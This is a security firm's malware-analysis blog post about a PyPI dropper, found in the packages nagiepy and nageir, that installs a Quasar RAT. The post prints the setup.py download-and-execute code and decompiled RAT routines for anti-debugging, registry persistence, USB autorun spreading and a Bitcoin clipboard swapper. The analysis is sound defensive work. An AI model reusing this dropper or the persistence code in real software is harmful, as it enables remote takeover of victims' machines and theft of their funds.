Skip to main content

DreamyOak Quasar Malware

·1064 words·5 mins·
Mike (Rem)
Author
Mike (Rem)
GCFE, GCIA, GCIH | Founder, Vipyr Security
Table of Contents

Recently we were flagged for the detection of a threat actor we’ve seen a few times in the past, DreamyOak. This individual has maintained a fairly consistent presence on the Python Package Index, often using the pseudonym ‘Nagogy’ to distribute their malware. In the most recent flags, nagiepy v3.422.0 and nageir v0.1.2 pinged off of our detection schemas, and were promptly reported and removed. Let’s take a deep look into what these files actually are. I’m going to walk through this in the sequence of events that I took during the actual analysis of this script.

Initial Analysis
#

import requests
import os
import subprocess
url = '****************/cdn/MEYeniKS.exe'
response = requests.get(url)

with open('windows.exe', 'wb') as f:
    f.write(response.content)
subprocess.run('windows.exe', check=True)

Pretty simple dropper script, runs during setup.py, drops a file, then runs it. For the uninitiated, setup.py is a script used to… well, setup Python packages. PIP interfaces with setup.py to determine requirements and information, and as such, allows the arbitrary execution of code contained within setup.py. Which means, subsequently, that simply pip install <package> would download and run this payload.

But we can do better than just determining this is a dropper, let’s dig a little deeper. I went ahead and curled down the executable from the URL and ran it through Detect It Easy.

remnux@remnux:~/Malware/nageir$ diec MEYeniKS.exe
PE32
    Library: .NET(v4.0.30319)[-]
    Compiler: VB.NET(-)[-]
    Linker: Microsoft Linker(8.0)[GUI32]

Dotnet’s are always fun. As an aside, I got to about this point, and spent 30 minutes trying to figure out where the Dotnet SDK was on REMnux, before acquiescing and consulting the documentation, which… let me know that ILSpy, the program I was going to use to disassemble this, was already installed in command line form via ilspycmd. Enjoy some schadenfreude.

Anywhoozit, whack it with the ILSpy bat: ilspycmd MEYeniKS.exe. And out pops… well, exactly what we’re looking for. I appreciate it when it’s easy.

Diving into .NET
#

The first indicator of what exactly I might be looking at came in the form of QuasarClient:

 internal static class Program
 {
  public static QuasarClient ConnectClient;

  private static ApplicationContext _msgLoop;

Quasar is a recognized RAT. Got it by the first line, we’re done here, pack it up and send ’em home…

Or not. There’s about 20,000 lines of code here. Certainly there’s something else going on. Let’s dig a little deeper into what in the world DreamyOak has for us.

if (Settings.ANTIDEBUG){
 if (Debugger.IsAttached){
  Process.GetCurrentProcess().Kill();
  }
 if (IsDebuggerPresent()){
  Process.GetCurrentProcess().Kill();
  }
 }
if (Settings.ENABLEANTIVM && IsAntiVM()){
 Process.GetCurrentProcess().Kill();
 }
if (Settings.ENABLEANTISANDBOXIE && DetectSandboxie()){
 Process.GetCurrentProcess().Kill();
 }

Well, it’s an attempt at AntiVM and AntiDebugger. As an aside, it’s very entertaining to me just how often we see this in scripts that statically decompile/disassemble. Your program cannot possibly check if there’s a debugger if… I’m not using one. Anyway, moving right along. Side note, I tried to make this a little more human readable. I can assure you that… significant author liberties have been taken in reformatting this code to be less offensive.

if (Settings.STARTUPPERSISTENCE){
 Thread thread2 = new Thread((ThreadStart)delegate{
  while (true){
   try{
    if (!keyExists(Settings.STARTUPKEY)){
     RegistryKeyHelper.AddRegistryKeyValue((RegistryHive)(-2147483647), "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, addQuotes: true);
    }
   }
   catch{
   }
   Thread.Sleep(5000);
  }
 });
 thread2.IsBackground = true;
 thread2.Start();

Well neato, we’ve got some registry persistence and with a nice long sleep to make sure we’re continually adding it in the event that the registry is restored but the malware itself is not removed. That’ll be a little spookier later on.

if (Settings.ENABLEUSBSPREAD){
 Thread thread3 = new Thread((ThreadStart)delegate{
  SpreadUSB();
 });
 thread3.IsBackground = true;
 thread3.Start();
}
if (Settings.ENABLEBTCSWAP){
 Thread thread4 = new Thread((ThreadStart)delegate{
  BTCSWAPPERRUN();
 });
 thread4.IsBackground = true;
 thread4.Start();

USB Spread? Well that’s interesting, we’ll discuss that later. Elsewhere, we see BTCSWAP is going to be a generic cryptoclipper. I’m not going to spend a whole lot of time talking about that, but it essentially simply finds valid BTC addresses in your clipboard and replaces them with the malware author’s BTC address instead, thus resulting in you sending them money.

Let’s talk about USB Spread though.

private static void SpreadUSB(){
 //IL_001a: Unknown result type (might be due to invalid IL or missing references)
 //IL_0020: Invalid comparison between Unknown and I4
 DriveInfo[] drives = DriveInfo.GetDrives();
 foreach (DriveInfo val in drives){
  if (!val.get_IsReady() && (int)val.get_DriveType() != 2){
   continue;
  }
  try{
   string text = val.get_Name() + "autorun.inf";
   string text2 = val.get_Name() + Settings.USBSpreadNAME + ".exe";
   if (File.Exists(text)){
    File.Delete(text);
   }
   if (File.Exists(text2)){
    File.Delete(text2);
   }
   using StreamWriter streamWriter = new StreamWriter(new FileStream(text, FileMode.Create, FileAccess.Write));
   streamWriter.WriteLine("[AutoRun]");
   streamWriter.WriteLine("action=" + Settings.USBSpreadNAME + ".exe");
  }
  catch{
  }
 }
}

So I consulted with some random people on the internet and Google experts and they revealed to me that this shouldn’t actually work. But on the premise that I think it’s cute, this attempts to write itself to connected USB devices and instantiate the script via an autorun.inf by replacing the current autorun scripts. Does it work? Eh– I don’t think out of the box. But if the device is already trusted, this may be used to swap the payload on the device and thus work as expected. Like I said, cute.

Other than that, there isn’t anything shocking in here, I thought this got some fail points though.

AES.SetDefaultKey(ENCRYPTIONKEY);
TAG = AES.Decrypt(TAG);
VERSION = AES.Decrypt(VERSION);
HOSTS = AES.Decrypt(HOSTS);
SUBDIRECTORY = AES.Decrypt(SUBDIRECTORY);
INSTALLNAME = AES.Decrypt(INSTALLNAME);
MUTEX = AES.Decrypt(MUTEX);
STARTUPKEY = AES.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = AES.Decrypt(LOGDIRECTORYNAME);
USBSpreadNAME = AES.Decrypt(USBSpreadNAME);
BTCAddress = AES.Decrypt(BTCAddress);

Encrypted host information is typically problematic for us– it would be nice to be able to get the values of the– oh. Wait.

public static string ENCRYPTIONKEY = "CN2muEFrSR3WC5IfEA2p";

Never mind, we’re good. A quick scroll through the program reveals more or less a lot of the function definitions and not much of interest that wouldn’t just be me talking about coding in general, so I’ll keep it brief and cut it off here.

Afterthoughts
#

It’s about now as I’m writing this that another team member has managed to track down some additional information about what, exactly I’m decompiling. And as anticipated (or rather, shown to me) in line 1, this is indeed a simple Quasar RAT. Fun exercise though!

Lessons Learned:

  • Google the payload name you found on line 1 so you don’t waste your time.
  • Prebuilt RE distributions are cool but locating tools requires an iota of brainpower.
  • If a function exists overtly named “BTCSWAPPERRUN”, the functions probably tell you what everything does.
  • Hard-coded AES keys are really cool and everyone should use them in their malware.